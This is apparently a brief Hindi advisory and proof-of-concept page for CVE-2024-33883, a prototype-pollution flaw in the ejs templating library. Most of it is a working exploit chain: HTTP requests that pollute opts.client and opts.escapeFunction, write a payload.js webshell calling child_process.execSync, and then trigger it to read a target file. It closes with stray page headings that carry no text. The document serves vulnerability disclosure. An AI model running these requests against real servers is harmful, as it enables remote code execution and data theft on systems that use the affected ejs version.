CVE-2024-33883

[email protected], अपर्याप्त प्रोटोटाइप प्रदूषण सत्यापन जिससे RCE शोषण होता है

प्रोटोटाइप प्रदूषण के साथ, opts.client को truthy मान पर सेट करें (शर्त)
फिर, जब render() चलता है, ejs opts.escapeFunction के मान को JS कोड के रूप में चलाएगा।

असुरक्षित कोड रेंज

[email protected] पर आधारित

1. ejs/lib/ejs.js - line 580, 636, 637

PoC (वेबशेल इंजेक्ट करें और सक्रिय करें)

1. GET /pollute?target=client&value=1

2. GET /pollute?target=escapeFunction&value=process.mainModule.require("fs").writeFileSync('./payload.js', "function RCE( key ){ \n const result = process.mainModule.require('child_process').execSync(`${key}`); \n throw new Error(`Result leak from Error: ${result.toString()}`); \n}\n module.exports = RCE;");

3. GET /
- Inject webshell

4. GET /pollute?target=escapeFunction&value=process.mainModule.require("./payload.js")("cat ./Leak_target");

5. GET /
- Activate webshell

PoC-CVE-2024-33883

सबसे लोकप्रिय

हमले के लिए उपलब्ध शर्तें

मैं इस हमले को कैसे रोक सकता हूँ?